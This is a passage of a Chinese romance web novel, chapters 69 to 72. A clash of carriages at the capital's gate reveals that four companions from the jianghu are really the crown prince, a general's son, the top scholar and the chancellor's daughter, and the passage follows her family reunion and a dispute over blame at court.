看着阿兄额上见红,姜蝉衣立刻被激起了怒气,朝外头喊道:“是什么人,拦下!” 而与此同时,对面也是人仰马翻。 对面的马车是杨阁老府上的,马车里坐的是杨阁老的外孙,也就是今科状元郎徐清宴。 今日一早,徐清宴出城去庄子画荷花,此时归来,远远就见城门口堆满了人。 徐清宴还没来得及问出情况,马儿便受惊,马车一阵剧烈摇晃,将人摔了个四仰八叉,半边身子载出了车门。 马儿还未控制好,车夫不敢松缰绳,还是随行护卫眼疾手快跃上马车将徐清宴扶起来塞回马车里,才没让他被颠簸下去。 护卫接过车夫手上的缰绳,努力稳住受惊的马儿,可不止怎地,平日听话的马儿此时像是受了什么刺激,一时半会儿竟无法安抚。 另一边也是如此。 褚家护卫也已经接过了车夫的马绳,可一时竟也难将马制住。 褚家其他随行护卫一些护在马车旁,一些已经奉命去拦下了始作俑者。 始作俑者也未曾料到有此变故,发现身后出了乱子赶紧就喝停了马,调转马头。 可他的马靠的越近,褚杨两家的马儿越疯,场面变得更加不可控,周遭人群一哄而散,两边的摊位也都受到波及,乱作一团。 两家护卫见此当机立断选择弃马车救主。 杨家护卫带着徐清宴跃下马车,另一边褚家护卫知晓自家姑娘会武,急声禀报:“姑娘,马制不住,找时机跳马!” 姜蝉衣遂带着长兄跃下马车。 因情况太过紧急,跳下去时为了护住阿兄她的脚被崴了。 褚方绎在慌乱中看了眼高大马背上的少年,立刻就明白了什么,朝身边护卫道:“那是刚从边关回来的战马,寻常马儿畏惧它。” 若是寻常时候碰见不至于此,但方才战马突从两匹马中间奔驰而过,马儿大抵以为受到攻击才发了疯。 护卫闻言赶紧上前交涉,好在少年得知原委后连忙从马背上下来,拍了拍马背先让它远离。 战马走远,两边马儿才勉强平静下来,少年担忧的看了眼两边情况,愧疚道:“抱歉,我方才顾着看热闹,一时没注意,没事吧?” 两边护卫皆得了自家主子命令虎视眈眈的围着他,但没有进一步命令也没人动手。 姜蝉衣因崴了脚站不起来,跌坐在地上,看不见人群中的少年,一抬眼又见自家阿兄额上的红,恨不能提剑上去把人揍一顿,可眼下动不得,只气的咬牙:“抓住他!” 另一边,徐清宴也被护卫护在身后,他手在车壁上撞了一下,又在大庭广众之之下丢了脸,亦是怒气翻滚:“哪里来的莽夫,绑了他!” 两边护卫得到命令一拥而上。 少年显然是有些功夫在身的,自知理亏,也不还手,只一个劲儿的躲。 “我真不是故意的,我愿意赔偿你们的损失。” 等在城门里头的三波人马远远看见动静,都变了脸。 褚家人认出自家的马车,也远远看到马车里有人跳车,眼下打起来,当即也顾不得东宫的人在带着人冲出城门营救。 将军府的人自然也认出了自家小将军,外面发生了什么里头的人谁都没看真切,见自家小将军被人围攻,断然没有坐视不理的道理,也跟着出了城。 东宫等在门口的是位内侍,侍卫也只带了两个,眼见事情闹大,一边着人去禀报,一边跟了上去。 谢崇的銮驾正行过梧桐街,前方突有侍卫拦路禀报。 “殿下,城门口出事了。” 谢崇一愣:“何事?” 一个时辰前他接到消息,小将军和褚二姑娘多半都会在午后到城门,以防他们提前到,他派人在城门口等候。 算着时辰,眼下他们也快到了。 若这时候城门口出了事,确实不妙。 “回殿下,城门外有车队惊了马。”侍卫斟酌着道:“属下看到的,好像是……状元郎和褚家二姑娘还有小将军的车队抢道,各不相让,引发的混乱。” 他本不知杨家马车上是谁,是在杨家护卫抱着那位公子跳车时才看清的脸。 谢崇又是一愣。 原来是他们到了,且还是同一时间到的。 “为何抢道?” 侍卫摇头:“属下也不清楚,属下只看到先是状元郎和褚二姑娘马车抢道,后见小将军纵马从中间穿过,褚杨两家因此惊马,而后便打起来了。” 谢崇面色微滞:“……打起来了?” “是。” 侍卫:“属下离开时,候在城门内的褚家和宋大将军的人也各自出城助阵,眼下城门口只怕……” 只怕已是鸡飞狗跳,天翻地覆。 “属下猜测许是畏惧战马,褚杨两家的马儿才迟迟无法安抚,两边主子怕是都受了伤。” 否则两家也不会不顾及体面在大庭广众下动手。 竟还受了伤! 谢崇眉心一跳,定了定神,道:“将你的马给我。” 他算是见识了那位小将军的能耐。 这人还没进城,就先闯了祸。 城门口,最初褚家和宋大将军的人还顾及几分情面,想要劝和。 随后待褚家管家看见自家公子额上见红,又见自家姑娘崴了脚,当即火上心头:“真是一介武夫,尽不干人事!” 将军府那边一听,也上了火:“文臣倒是知礼,抢道作甚!” 杨家护卫早就发现自家今日在人数上占了很大弱势,是以在事发之时就已经差人去杨家禀报了。 此时,杨家管家已经赶到,恰听见这话,当即呛回去:“武将就可以抢道了?” “分明是你们两家抢道在先!” “若非战马掠过,岂会惊马!” “我家两位主子都受了伤,这事没完!” 杨管家眼皮子一抬:“我们表公子手受了伤,若有个好歹,谁都脱不了干系!” 褚管家眉头一皱。 表公子?状元郎? 褚管家脑子一转,气势汹汹道:“我家姑娘刚刚回京就受了伤,你们谁都别想推卸责任!” 将军府的人也快速看了眼杨家马车方向,他们虽刚回京,但也知晓如今在杨家的表公子只有一位,那就是今科状元郎。 状元郎伤了手,就跟武将提不动刀,褚家刚接回来的姑娘也受了伤,今日恐怕无法善了。 不过,小将军固然有错,但并非全责,本来大将军就在气头上,着他们带小将军回去挨军棍,若这事再落到小将军头上,小将军还得脱层皮。 不成,无论如何,都不能把罪全揽下来! 宋家副将瞥了眼被围攻的小将军,只见他们的小将军生龙活虎,游刃有余,别说伤,两边护卫连他衣角都摸不到。 人家两边主子都受了伤,只他们小将军活蹦乱跳的,只怕到最后,罪责多半要落到他们头上。 想到此,宋家副将扬声道。 “你们的人也伤了我们小将军!” 被围攻的小将军宋少凌听见这话,顿时意会过来,故作失手一边肩膀挨了一刀。 两位管家瞪大眼。 “厚颜无耻” “恬不知耻!” 谁瞧不出来,他们这些人根本就伤不了那小将军分毫! 本想自己去争辩的姜蝉衣徐清宴完全没有用武之地,只能各自暗暗听着,听到这里都在心里心底骂了句老奸巨猾! 褚方绎撞了头,等他缓过来,几方人马已经吵的不可开交。 他看了眼妹妹受伤的脚,也没了和解的心思,任由管家冲锋陷阵。 左右已经闹大,早没什么体面可言了。 谢崇赶到时,场面已经白热化。 两边从就事论事延展到了文臣武将,打架的打的热火朝天,唇枪舌战的面红耳赤。 东宫内侍见说不上话,干脆麻木的立在一旁当根木头,直到见太子殿下赶到,他才赶紧迎上去:“殿下。” 谢崇盯着眼前的混乱阵仗,眉心直跳。 褚家杨家算不得关系多近,也不是政敌,但同在朝上,摩擦难免的。 可他还从未见两家人撕破脸闹成这样。 内侍气沉丹田,提气扬声喊道:“太子殿下到!” 终于,天地立刻安静了。 太子跟前动武是为大忌,所有人皆收了武噤了声器跪地参拜。 人群中站着的少年便格外突兀。 他左右看了看,习惯使然没有立刻跪下,而是转身看向太子。 太子龙章凤姿,丰神俊朗,格外的熟悉。 二人目光相对,眼神变化数次。 从看到对方时的怔愣,到不解,到惊讶,再到震惊不可置信。 而与此同时,杨家马车后走出一人,身形高瘦,面容隽秀,他比少年要懂规矩些,没敢第一时间直视太子,而是拱手行礼:“见过太子殿下。” 状元郎见君可免跪拜。 熟悉的声音钻入耳中,太子和小将军缓缓转头看来,虽然状元郎没有抬头,但从半张脸他们还是认得出来! 方才的神情再从二人脸上一一闪过,因震惊太过,一时都忘了言语。 徐清宴久久没听到动静,又感觉到两道视线落在他身上,遂试探抬头看了眼。 这一眼看去,整个人就僵在了原地。 姜蝉衣听见太子到了,便安顿好‘昏迷’过去的阿兄,扶着马车勉强站了起来。 她其实自己可以把脚接好,但在发现小将军用了苦肉计后也动了心思。 今日这种情况,哪方越惨越好分辨。 她第一时间站起来而不是跪下,亦是习惯使然,她没有在天子脚下长大,自然也还不习惯跪拜。 而就在姜蝉衣站起身时,另外三人听到动静都已朝她望来,等她扶着马车单脚站稳眼看向太子殿下时,猝不及防就看见一张熟悉的不能再熟悉的脸。 扶着马车的手微微收紧,眼底也有一瞬的惊慌。 燕鹤怎么在这里?! 那夜她连夜离开,一路几乎没有停顿赶回落霞门,在二师弟屋里醉了一日。 醒来后,她已然决定就此相忘于江湖,此生不复再见。 她无论如何都没想到会在京中见到他! 过了好半晌姜蝉衣察觉到另外两道视线,一一望过去,顿时一阵茫然。 这是什么情况,怎么都在。 其他三人没比她好到哪里去,尤其是太子,最初看到小将军和状元郎时他是震惊疑惑,但也能保持理智,没有失态,直到看见那个扶着马车车壁站起来的姑娘后,他的脸上再也无法维持平静,像是肉眼可见的起了裂痕。 视线相交的一瞬,他甚至下意识往前走了一步,而后意识到什么又克制的停住。 她怎么在这里! 这是褚家的马车,褚家今日接的是褚家的二姑娘,有什么东西迅速钻入脑海,心跳顿时加剧。 是她,原来竟是她! 褚家管家大约是发现自家姑娘没跪,遂轻声提醒:“二姑娘,这是太子殿下。” 褚管家的一句话将几人惊的回了神,各自脸上再次浮现不可言说的微妙神情。 几人的视线来回交错,面面相觑,如果没记错他们才在江南辞行,没成想这么快竟又在玉京见了面,更没想到会是这样啼笑皆非的情景。 这一切简直巧合的过了头! 一阵诡异的寂静中,宋少凌先开了口:“所以,状元郎……” 徐清宴麻木道:“……是我。” “小将军?” 宋少凌:“……是我。” 几人默默转头看向姜蝉衣。 不必他们问,姜蝉衣道:“……褚家二姑娘,褚婉卿。” 最后,所有人的视线落在太子身上。 谢崇默了默,简短道:“太子,谢崇。” 众人忍不住咬咬牙。 真是好一个太子谢崇! 不久前,他还跟着他们一道去墉州见太子,真是演的一手好戏! 但现在谁也没资格指摘他。 次次落榜状元郎。 贼不走空小将军。 一贫如洗相国嫡女。 家族败落太子殿下。 三年了,几个人凑不出一个真实身份,眼下就连质问都不知道该从谁开始。 除了沉默,还是沉默。 第70章 第 70 章 我若要退婚,你待如何?…… 一片狼藉中, 四人久久伫立相望,跪着的人也终于从他们简短的对话中察觉到了不对劲。 马车里撞晕的褚方绎若有所思的皱了皱眉,轻轻掀开车帘一角, 恰可看见太子和宋少凌。 他的舅舅乃是太子太傅,他与太子也算是自小相识, 对彼此可以说甚是了解。 只一眼他便看到了太子神情有异,尤其在他看向妹妹婉卿时,那双历来平静的双眸里情绪翻腾, 似有什么将要不受控的倾泻而出。 褚方绎眼神微紧。 若他没看错, 那是情愫, 是惊喜。 难道婉卿竟早已与太子相识? 跪着的其他人不敢抬头,只忍不住的拿眼左右瞟, 完全不知发生了什么。 不过从那几句简短的对话猜测,他们竟好像……早已认识? 不应该啊。 按理说这几人应是天南海北各在一方,不可能相识才是。 但在场除了‘昏迷’过去的褚家长公子外, 无人敢在这时开口询问。 不知过了多久,才终于又听见了动静,是太子抬脚往褚家马车的方向而去。 姜蝉衣手指紧扣着马车车壁,目不转睛地看着朝她走来的人。 那是她心心念念,曾以为永远不可能再见的人。 ‘我已有婚约在身, 不可更改,明年便要成婚’ 温淡的嗓音犹在耳边回荡。 可原来兜兜转转, 与他有婚约的人竟然就是她自己。 知道他有婚约的时候有多难过, 如今的心情就有多复杂,无数种心念移转,不可否认,最后剩下的多是惊喜。 明明是很近的一段距离, 可两个人都觉得好远,走了好久。 终于,谢崇走到了姜蝉衣面前。 那一夜在客栈,姜蝉衣曾试图在他眼底找到一丝波澜,可那夜的他闻淡如冰,看他的眼底没有半分起伏。 而如今再看,却不同了。 他眼中有喜悦,与从前比起来,已灼热的不像话。 姜蝉衣一时有些想不明白,为何他对她的态度会发生如此巨大的转变。 难道仅仅是因为如今他知道了与他有婚约的人是她? 谢崇确实很欢喜。 他的心绪一向平和稳定,少有这样波澜壮阔的时候。 可此时纵有千言万语也不是说话的时候,最终,他只问出一句: “你还要退婚吗?” 当然不退! 未婚夫就是心上人,这是多大的惊喜,不管他的态度因何转变,她都得先问清楚,怎可能轻易松口退婚。 可看着那双眼睛,鬼使神差的,她脱口而出:“若我要退,你待如何?” 谢崇眼神微微一紧。 她生气了。 是因墉州那夜,还是气他隐瞒身份? 谢崇沉默半晌后,突然半蹲下身,姜蝉衣吓了一跳,刚想要往后退,小腿便被宽大的手中包裹,烫的人心焦意乱。 “别动。” 谢崇握住她的脚踝,轻声道:“忍着点。” 姜蝉衣这才反应过来他是在给她治伤,还没来得及回答,他已经动了手正了骨。 短暂的疼痛让她微微皱了皱眉,随后那股不适便消失。 谢崇站起身,低头看着她片刻,道:“我不答应。” 姜蝉衣愣了愣才反应过来他是在回答她方才的问题。 他不答应。 为何不答应? “为什么?” 谢崇沉默片刻,抬眼看了眼马车,低头轻声道:“你确定,要在这里听我解释?” 他知道褚方绎没有昏迷。 温热的气息洒在耳边,姜蝉衣双颊微微泛红,连忙挪开视线。 “还是……先回去吧。” 猝不及防见到他,倒是忘了这里还跪着一堆人,此时确实不是说话的时候。 “好。” 谢崇伸出手,笑的无比温和:“我扶你上去。” 姜蝉衣被那抹笑容晃了眼,心跳飞快,同时在心里暗骂了句自己。 还什么都没问,他也还什么都没说,她无端出现的那点气性竟就这么消散了! 真是好没出息! 她伸手朝他的手腕搭过去,可不知怎地,却搭在了手掌心。 她微微一惊,飞快抬眸看了眼,却见太子神情平静的握住她的手:“小心。” 姜蝉衣收回视线踏上马车。 难道真是她搭错了? 这时,马车里伸出一只手搀扶姜蝉衣,谢崇自然而然的松开。 仿佛什么也没瞧见。 他能猜到褚方绎为何装晕。 今日看似闹得大,实则并不伤筋动骨,说破天去顶多也就几家小辈胡闹。 但作为相国家的长公子,断然是不能掺和进来的,所以干脆撞晕了事。 而其他人听到这里都是心惊不已,褚二姑娘要同太子殿下退婚? 且听两人对话,竟真不是初次相见,难不成这里头还有什么他们不知道的渊源? 是了,去岁这婚定的本就突然,而众所周知,太子殿下每年出京游学,莫非是游学时便与褚二姑娘相识,这才有的婚约? 这么一想,不少人大着胆子试图偷窥一二,然才抬起头,便听太子道:“都起来吧。” 三家谢恩起身,眼观鼻鼻观心。 看戏的徐青天云广白,不,徐清宴宋少凌亦心满意足的收回了视线,该说不说,今日虽然堪称离奇,但结果是好的。 原来姜蝉衣的未婚夫竟就是太子,所以她那次去墉州见太子是为了退婚。 只没料到,燕鹤就是太子。 这样曲折离奇的故事也就话本子里有了。 且离开墉州那日,他们才知姜蝉衣竟连夜离开了墉州,虽然不知道在他们走后发生了什么,但想也知道不是什么愉快的事。 只那时燕鹤……太子也在天初亮时离开,他们也就无从问起。 如今意外重逢,未婚夫妻,名正言顺,也不必再保持什么分寸距离。 接下来,可有看头了。 “今日之事孤已知晓,城门闹事兹事体大,请宋小将军,徐公子即刻随我进宫面圣。”谢崇道。 杨家管家一愣,这点小事竟惊动陛下! 公子才被点为状元,若因这事惹陛下不喜,可就得不偿失了。 宋家副将亦是眉头微拧。 先不说方才这场闹剧,他可是奉大将军之命一定要将小将军带回去受罚的。 但太子之命,无敢不从。 偏这时,听宋少凌吊儿郎当来了句:“今日打架的是三家,抢道也都有份,怎就我和状元郎进宫,褚二姑娘也有责任啊。” 他不过是在打趣太子,暗指他包庇心上人,可宋家副将却是将一颗心提到了嗓子眼,恨不得冲上去捂了他的嘴。 这可是玉京,是太子,怎敢冒犯! 好在太子没有因此发难,他只轻飘飘瞥了眼宋少凌,道:“孤与褚二姑娘有婚约,可替未婚妻御前领罚。” 宋少凌徐清宴:“……咦。” 宋少凌折身径自走向城门:“知道了知道了,你们是未婚夫妻,用得着三番两次重复?不是进宫吗,快走吧,等会儿天都黑了。” 徐清宴自然而然跟上:“你皮糙肉厚,要不把罪都认了吧。” “想屁吃!” 宋少凌:“天塌下来还有太子顶着呢。” 徐清宴点头:“说的也是。” “那要不,让太子认了?” 杨家宋家只觉眼前一黑。 祖宗诶,怎敢当着太子殿下的面如此大放厥词! 咳嗽声不约而同响起,久久不绝。 二人听见动静回头,只见杨管家宋家副将眼色使得眼睛都快要抽筋了。 太子还没走啊小祖宗! 二人后知后觉反应过来,对视一眼后,默契的后退一步,让开中间位置,齐齐抬手:“太子殿下请。” 谢崇:“……” 谢崇侧首看了眼褚家马车的方向,道:“褚大公子受伤昏迷,让褚家先走。” “来人,请太医去趟相国府。” 宋少凌徐清宴闻言规矩地走到谢崇身边,待褚家马车行过,二人才跟着太子一道进城。 只才规矩走出几步,就见那二人在太子身后打闹,宋小将军甚至勾住了太子肩膀,好像在逼问什么。 杨宋两家:“……” 干脆让他们也晕过去算了。 70-80 第71章 第 71 章 婉卿与太子何时相识?…… 褚家车马缓缓进城, 驶向相国府。 自上车姜蝉衣就有些心不在焉,不知在想什么。 褚方绎将方才发生的一切看在眼里,勉强理了个章程出来, 状似不经意般问:“婉卿与太子何时相识?” 方才情景,证明在今日之前他们都不知晓对方真实身份。 姜蝉衣回答:“今年是第三年。” 时间过得可真快, 他们竟然已经相识三年了。 褚方绎又问:“如何相识的?” 姜蝉衣没有瞒长兄的必要,如实答了:“那年我学成初次下山,辗转到了一个小镇上, 恰遇刘姓富商回老宅办满月宴, 我先和云广白徐青天同席, 后在刘家门口遇上燕鹤……太子,太子请我们吃了一顿饭, 就此相识,后来遇上刘家表姑娘与玉公子,与他们随行了一路。” 褚方绎眸光微动, 妹妹口中的云广白徐青天,应是宋小将军和状元郎。 世间之事竟如此巧,初次下山他们便已结识。 玉家那事他早已知晓。 解家二爷杀妻,又欲对儿子赶尽杀绝,被玉家主相救, 收为义子。 玉公子状告解家那日,玉家主去了, 二舅舅那日也在衙门…… 褚方绎一怔:“婉卿那日也在解家?” 如此说来, 妹妹已与二舅舅打过照面。 姜蝉衣也想起了这事,面色有些古怪的看向褚方绎:“阿兄,我当时……” 褚方绎温柔的看着她:“怎么了?” 姜蝉衣抿了抿唇,道:“情形使然, 我当日,假扮了公主殿下。” 褚方绎温柔的眼神一滞,划过几丝不解,讶异:“为何?” 姜蝉衣简短解释了遍,道:“有玉公子作保,无人不信,那时也不知燕鹤就是太子。” 如今想想其实还是有些漏洞,玉公子从一开始对燕鹤的态度就很恭敬,且假扮公主是砍头的罪,玉公子却似无半点担忧,这与他的性子并不相符。 且当时好像还是燕鹤主动提出假扮公主,落魄世家哪里有这个胆子,这重重疑点,当时竟无人深究。 “我那日见到了二舅舅,当时无法相认,本想另寻时机去拜见二舅舅,但之后二舅舅一直与玉家主玉公子在一处,我一直没有找到单独见面的机会。” 褚方绎还记得当年的事。 二舅舅去明亲王府将被禁足的小郡王带出去喝花酒,惹怒了小王爷,逃出京城,后来随着玉家主和玉公子回京,小王爷才勉强消了气。 理清了来龙去脉,褚方绎深深看了眼姜蝉衣:“婉卿可知你与太子的婚约如何来的?” 姜蝉衣茫然摇头:“我不知道。” “我今岁下山前才知道父亲与小王爷定了婚事,并不知是燕鹤,我一直以为再也见不到……他了。” 褚方绎将她眼中一闪而逝的异样收入眼底,不动声色道:“莫非是太子察觉到了你的身份?” 姜蝉衣依旧摇头:“没有。” “若他知晓我的身份,那夜就不会……” 褚方绎眼神一沉:“他欺负你了?” “没有。”姜蝉衣本不愿再回忆那夜,见长兄误会,便忙道:“那夜我们分别时,本约定来年再聚,他却说他已有婚约在身,不可更改,不会再赴约。” 不对,他当时为何突然说起婚约。 有什么自姜蝉衣心头闪过,难道他那时已然看出她心悦他,听她要回家退婚,为了让她死心,才故意说出自己的婚约? 姜蝉衣越想越觉得有可能。 褚方绎也从姜蝉衣的只字片语中窥出些什么,脸色微霁。 若是太子但凡在明知有婚约还对妹妹起了心思,他必不会善罢甘休! 不过即便他做了正确的选择,也曾令妹妹心伤,这桩婚事可没那么容易遂他愿。 “此事暂且不提。” 褚方绎温柔道:“父亲和母亲这些年都很挂念妹妹,再过一条街,便到家了。” 姜蝉衣心突然跳的飞快,大抵是近乡情怯,她感到前所未有的紧张。 这股紧张一直延续到了马车停在相国府门口。 相国府外相国大人和夫人乔氏已率家仆等候,邻里知晓今日褚二姑娘回府,也凑过来看热闹,相国府外乌泱泱围了一大群人。 褚方绎察觉到姜蝉衣的紧张,轻轻拍了拍她的手安抚后,率先下了马车。 一向端庄沉稳的乔氏已迫不及待迎向马车,眼睛微微泛着红。 相国理了理衣袖,紧跟着夫人走上前,虽极力有压制,但还是不难看出他内心的激动。 马车车帘掀开,褚方绎伸手稳稳扶住姜蝉衣,在她钻出马车的那一瞬,乔氏已经忍不住落下泪来。 一岁那年,她差点以为要失去这个女儿,后来幸得神医相救,却也从此天各一方,再未相见。 十七年,她日思夜念,终于等到女儿回家的这一日了。 姜蝉衣堪堪站稳,一抬头就对上泪流满面的乔氏,虽未曾相见,但她一眼便知,这便是她的母亲。 母亲身边是一身新衣的中年男子,视线相对,她看见了对方眼里的泪光和激动。 她明白,这就是她的父亲。 姜蝉衣鼻尖蓦地一酸,屈膝行礼:“女儿拜见父亲,母亲。” 乔氏一把将女儿扶住,搂紧怀里,哽咽不止,竟一时无法言语,姜蝉衣愣了愣,缓缓抬手抚着她的背柔声安抚:“母亲,女儿回来了。” 相国褚公羡也上前温声道:“夫人,先进去吧。” 乔氏这才不舍的松开女儿,认真仔细的端详着,眼中满是慈爱。 褚方绎上前与姜蝉衣一左一右搀着母亲进府,褚家下人也齐齐行礼:“恭迎二姑娘回府。” 一家人进了府,外头立刻开始了议论。 “褚二姑娘生的可真标志。” “相国与夫人那样好的相貌,女儿岂会差了去。” “褚二姑娘可真真是命好,如今与太子定下婚约,将来贵不可言。” “婚事一成,褚家也算是京中鼎盛了。” 褚相国没有家族底蕴支撑,高中状元后得了乔家青眼,与乔太傅引为知己,又娶乔家二房长女,一路青云直上。 可在玉京,没有三代底蕴都算不得鼎盛,若褚二姑娘将来入主中宫,褚家又得再往上跨越一层。 “这话可就不对了,这桩婚事只能说锦上添花,毕竟即便没有这婚事,以褚大公子的才情,将来亦能支撑门庭。” “倒也是。” “只是没想到储妃最后竟出在褚家。” 褚二姑娘离家十七载,好多小辈怕是都不知道褚家还有位姑娘,太子光风霁月,龙章凤姿,是无数贵女心尖尖上的人,这些年,贵女们针锋相对争抢入主东宫,从没有人防过相国府。 去岁婚事一定,可以说是满京哗然。 听说不少贵女气的红了眼,眼下不知多少双眼睛盯着这位褚二姑娘呢。 姜蝉衣对这一切自是不知情的,此时只满心都沉浸在与家人重逢的喜悦中。 乔氏拉着女儿不肯松手,含泪道:“这些年,苦了你了。” 姜蝉衣忙安抚母亲:“母亲,女儿不苦,这些年女儿有师父师弟师妹爱护,过的很好。” “如何能好。” 乔氏哽咽道:“母亲都知道了,这些年送去的钱财都用在落霞门,你不能沾金银,实不敢想这日子如何清苦。” 乔氏与褚家不同,那是京中一等一的世家勋贵,出了好几任帝师,更是桃李满天下,乔家女哪个不是如珍如宝的养大,何曾吃过半分苦头,对于乔氏来说,女儿这些年无一日不在吃苦。 可对于姜蝉衣来说,确实不觉着苦,不知该如何安抚母亲,便有些无措的望向长兄,褚方绎遂开口解围:“如今婉卿在母亲身边,自不会再受苦。” 乔氏闻言这才抹了泪,握着女儿的手道:“嗯,以往亏欠婉卿的,都补回来。” 姜蝉衣认真道:“母亲,不曾有过亏欠。” 她离家十七载是为了保命,父亲母亲比她更伤心难过,怎能说是亏欠她。 “好,好,不亏欠。” 女儿如此懂事,乔氏又欣慰又难过。 “母亲,一路舟车劳顿,不如先让婉卿回院子休息,晚上接风宴再说话。”褚方绎。 虽然这些年一直有书信来往,但到底十七载不见,得给妹妹一些适应的时间。 乔氏自是说好,亲自送女儿回院子。 这间院子是很早就准备好的,乔氏每年都会往里头添置一些东西,褚相国得了什么宝贝也往珍宝架上摆,褚方绎亦是如此。 每每听闻谁家给妹妹买了什么稀罕物件,他都要去寻来放在妹妹房中。 院中养着各种稀缺花草,屋里也是满满当当,处处显示着对姜蝉衣的爱意。 姜蝉衣不可能不动容,待父亲母亲长兄离开,她一样一样仔细看过去,万分珍视。 第72章 第 72 章 孤替婉卿领罚 褚方绎回府不久, 宫中就来了太医。 城外之事在兄妹二人回府前已经先一步传了回来,方才见到分离多年的女儿夫妻二人情绪激动,一时忘了去细问, 如今看着儿子额上的红印,才赶紧问起。 “城外到底发生了什么, 怎会同杨阁老将军府打起来?” 褚方绎看了眼正给他上药的太医,道:“马情绪时常时我撞在车壁上晕了过去,后面的事都不知晓。” 相国大人与夫人对视一眼, 默契的噤了声。 太医上完药, 恭敬道:“公子的伤需要修养几日, 若出现头痛定要及时看诊。” 这点皮外伤还远不至于晕过去,但作为太医什么该说什么不该说他还是清楚的。 “有劳孙太医。” 送走太医, 褚方绎才将城外的事简短叙述了一遍:“我后来问过车夫,当时确实因城门口的阵仗太大一时不察,等反应过来, 两辆马车各已占了小半边道。” “宋小将军的坐骑应该是随他上过战场的,它从马车中间突围,两边马儿受惊难以安抚这才引发动乱。” 乔氏乔月华皱眉:“那后头又是如何打起来的?” 褚方绎如实道:“妹妹见我受伤,下令拦宋小将军,状元郎那边也让护卫抓人, 城内接人的队伍见此变故也动了手。” 相国褚公羡沉思片刻,欲起身:“我进趟宫。” 怕两边趁他不在把罪责往女儿身上推。 褚方绎犹豫再三, 还是什么也没说, 只含糊道了句:“妹妹好像与他们认识。” 乔月华一愣:“与谁认识?” “徐公子,宋小将军,太子……”褚方绎随意带过:“我问妹妹,说是曾有缘在江湖中相遇, 但在今日之前,他们都用了化名,都不知彼此身份。” “还有……” 褚公羡乔月华同时看向他,却听他缓缓道:“我听妹妹说,此次回来好像想退婚。” 夫妻二人皆是一怔,对视了眼,眼底划过一抹沉思。 这桩婚事是明亲王府来提的,小王爷亲自上门,他们无法不应,可若是女儿不愿意,自也是能退的。 乔月华很快冷静下来,道:“你先去宫中看看,若真要退婚,我请祖父出面。” 乔月华的祖父乃是上一任帝师,由他出面,这桩婚事必是能退的。 褚公羡沉声应了,快步离开。 褚方绎端起茶盏垂眸轻轻饮了口,眼底快速划过一抹沉色。 _ 褚公羡的马车刚停在宫门口,身后便传来马蹄声,他甚至无需转头都知来人是谁。 这个时辰骑马来此,除了那位宋大将军,不做他想。 其实年轻的时候他与这位大将军也有过些交情,那时少年鲜衣怒马,令人惊艳。 他记得他们还曾喝过酒,只后来他离京镇守边关,再难得见。 上次他回京短短十日便离开,阴差阳错下他们竟没能见上面,这还是当年一别后他们第一次见面。 褚公羡微微侧首,只见身形高挑的男子翻身下马稳步走来,俊朗的脸坚硬不少,目光如炬,曾经明朗的少年经过岁月的沉淀已然沉稳老练。 褚公羡恍然想起,多年前在城外当归客栈他们初次见面。 他那时是进京赶考的书生,他还是世子妃柳襄将军的副将,听有人贬损柳将军府,少年提着茶壶脚踩在凳子上给人那罐茶洗嘴。 一转眼,竟已是近二十年了。 一别二十年,当年的书生已是一国之相,少年副将也成了名震四方的镇国大将军。 宋长策走至褚公羡身旁,拱手:“相国大人。” 褚公羡抬手还礼:“宋大将军。” 寒暄过后,二人并肩进了宫门。 “我已知晓城外之事,犬子无状,惊扰贵府姑娘,实在抱歉。”宋长策。 褚公羡轻笑着:“宋大将军严重了,都是一场误会。” 短短两句,二人心中便知此事已揭过,只剩杨阁老府,据说状元郎伤了手,恐怕此事难了。 果然,二人进殿时,杨阁老早已经到了,正看小将军眼睛不是眼睛,鼻子不是鼻子。 褚家长公子最初就晕了过去,做主的是位姑娘,杨阁老再气也不好同一个小姑娘发难,自然就将所以火气发到了宋少凌身上。 毕竟京中谁人不知,宋家这位小公子有多能闯祸,上回回京,还惹的公主殿下提着鞭子满城追打。 圣上本有意替宋少凌避开他父亲的责罚,谁曾想人在城门口又闯了祸,还牵扯了杨阁老和相国府,如今便是想偏护也无法。 宋少凌见到父亲就像老鼠见了猫,直往太子身后躲,宋长策狠狠瞪他一眼,但碍于太子不好当场发难,沉色向圣上拱手道:“城外之事臣已知晓,犬子行事鲁莽,任由陛下责罚。” “不过此事也确非犬子一人之责,该担的责任将军府必不推卸。” 杨阁老闻言冷哼一声:“宋大将军难道不知,城门口不可纵马?” 宋长策:“城门口亦不可抢道。” 杨阁老被堵了回来,瞥见一旁安静立着的褚公羡,忍不住道:“当时褚大公子也在场,其他人胡闹便罢,难道大公子也不知轻重!” 褚公羡见吵到自己身上,抬了抬眼皮子:“马车一惊犬子就撞晕过去,对后头的事一概不知,否则自然不至于动起手来。” “且小女脚也受了伤,怎么看,都是我们家损伤更大。” “我外孙伤了手,半月提不了笔,难道这伤就小了?”杨阁老冷声道。 今日若伤的是孙儿杨阁老并不会亲自进宫来要说法,可外孙儿那是最宠爱的女儿之子,还是孙辈中最出色的孩子,本就难得见上一面,如今还在京中受了伤,怎能叫他不气! 而后还不解气,瞪向宋长策:“我们的护卫哪里是边关回来的将士的对手,伤了十几个,眼下还都在医馆医治!” “简直是莽夫!” 宋长策再次看了眼躲在太子身后的儿子,不疾不徐道:“犬子不也见了红。” “再者,先动手的不是你们两家?” 各有各的理,谁也不相让。 其实对于几个当事人来说,这事并不重要,轻易就能揭过去。 可既然闹到了陛下跟前,也就没有他们说话的余地了。 徐青天知晓外公是心疼自己,为自己讨公道,更不可能在这种时候去揽罪拆外公的台。 宋少凌更不可能开腔。 父亲虽然看似严厉,其实也是在维护他,他要这时候冲出去认错,回府少不得一顿打。 而圣上,都是朝中重臣,偏哪一个都不成。 陷入僵局,一阵眉眼官司后,宋少凌悄悄戳了戳太子的背。 这个时候,只有太子能站出来说话。 谢崇也觉得时机到了,上前一步道:“父皇,儿臣认为此事错不在一方,三方各有过错,儿臣愿替婉卿领罚。” 太子自愿领罚,杨阁老纵有万千不满也无法再继续追责,偏过头不再言语。 谢崇面向杨阁老,轻轻一揖:“今日本该孤出城迎接小将军与二姑娘,是孤误了时辰去晚了些,才导致事态严重,还请杨阁老见谅。” 杨阁老哪里敢受太子的礼,连忙站起身弯腰拱手:“太子殿下言重了。” “孤会用最好的药给徐公子治伤,必不会留下任何隐患。” 太子都这样说了,杨阁老哪里还能说个不字,恭敬道:“多谢殿下。” 谢崇便又朝宋长策道:“小将军受了伤,便与徐公子一道留在东宫诊治,如此,孤才放心。” 杨阁老一愣。 怎就成了留在东宫治伤。 宋长策也微微蹙眉,瞥了眼儿子,却见人低头垂目立着,乖觉的像换了个人。 